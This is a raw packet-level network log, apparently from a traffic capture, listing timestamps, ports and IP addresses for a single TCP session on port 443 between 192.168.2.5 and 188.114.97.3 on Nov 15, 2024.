Nov 15, 2024 01:01:28.399818897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399868011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399880886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399892092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399914026 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399926901 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399996042 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400023937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400063992 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400073051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400108099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400108099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400342941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400365114 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400389910 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400397062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400417089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400437117 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400757074 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400779009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400801897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400810957 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.400827885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.400849104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401221037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401242018 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401268959 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401278019 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401298046 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401312113 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401501894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401520014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401547909 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401561022 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401576996 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401803017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401846886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401871920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401925087 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.401938915 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.401961088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.402518034 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.402546883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.402581930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.402589083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.402611017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.402623892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.402705908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.402755022 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.402760029 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.402781010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.402805090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.403357983 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.403378963 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.403465033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.403465033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.403479099 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.404376984 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.404397964 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.404436111 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.404448032 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.404470921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.407190084 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.407208920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.407247066 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.407258034 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.407279015 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.407821894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.407840967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.407886028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.407896996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.407912016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.408154011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.408174038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.408200979 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.408209085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.408222914 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.408683062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.408704042 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.408740997 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.408751965 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.408766031 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.408958912 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.408977985 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.409004927 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.409012079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.409024000 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.409776926 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.409799099 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.409832001 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.409840107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.409852982 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.514332056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514353991 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514404058 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.514424086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514439106 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.514508963 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514527082 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514563084 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.514571905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514589071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.514813900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514831066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514868021 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.514877081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.514890909 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.515518904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.515537024 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.515575886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.515587091 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.515613079 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.516156912 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516175032 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516217947 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.516228914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516242981 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.516546011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516562939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516602993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.516616106 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516637087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.516933918 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516951084 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.516989946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.516999960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.517019033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.517163038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.517218113 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.517225981 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.517448902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.517467022 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.517503023 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.517509937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.517535925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.518448114 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.518469095 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.518501043 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.518512011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.518524885 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.518543005 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.518557072 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.518570900 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.518577099 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.518600941 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.628436089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.628475904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.628524065 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.628557920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.628573895 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.628998041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.629023075 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.629034996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.629054070 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.629062891 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.629076958 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.629447937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.629472971 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.629497051 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.629506111 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.629532099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.630043030 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630062103 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630094051 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.630104065 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630116940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.630333900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630361080 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630393982 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.630402088 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630422115 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.630903006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630922079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630961895 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.630974054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.630987883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.631297112 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631331921 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631344080 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.631351948 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631395102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.631613016 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631633043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631668091 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.631675959 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631691933 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.631913900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631947041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.631963968 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.631973028 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.632006884 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.632620096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.632637978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.632674932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.632684946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.632700920 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633040905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633065939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633101940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633114100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633128881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633421898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633449078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633477926 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633486986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633502007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633702040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633733988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633750916 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633759975 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633789062 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633929968 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633955002 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.633980989 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.633989096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634006977 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.634046078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634078026 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634094000 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.634102106 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634120941 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.634376049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634402037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634430885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.634438038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634453058 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.634517908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634557009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634577036 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.634584904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.634609938 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.635987997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636013031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636039019 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.636051893 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636077881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.636145115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636174917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636190891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.636198997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636221886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.636279106 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636303902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636318922 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.636327028 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636347055 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.636732101 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636763096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636787891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.636796951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.636815071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.637295008 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637320042 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637341976 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.637348890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637382030 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.637403965 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637438059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637459040 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.637466908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637489080 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.637746096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637773037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637795925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.637803078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.637820959 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.638108969 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638143063 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638163090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.638170958 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638185978 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.638453960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638480902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638501883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.638509989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638526917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.638896942 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638927937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638951063 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.638958931 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.638983965 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.639499903 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.639527082 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.639552116 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.639559984 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.639576912 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.649919987 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.747813940 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.747889996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.747901917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.747922897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.747948885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.748150110 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.748202085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.748203039 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.748243093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.748260975 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.748812914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.748894930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.748914957 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.748927116 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.748953104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.749499083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.749547005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.749551058 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.749571085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.749605894 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.749862909 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.749901056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.749922037 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.749931097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.749954939 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750035048 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750081062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750086069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750108004 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750135899 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750359058 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750397921 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750410080 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750428915 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750458002 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750588894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750658989 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750669003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750715971 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750761986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750765085 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750783920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.750812054 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750833988 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.750987053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.751032114 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.751039982 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.751054049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.751076937 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.751091003 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.751463890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.751507044 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.751518011 CET	49868	443	192.168.2.5	188.114.97.3
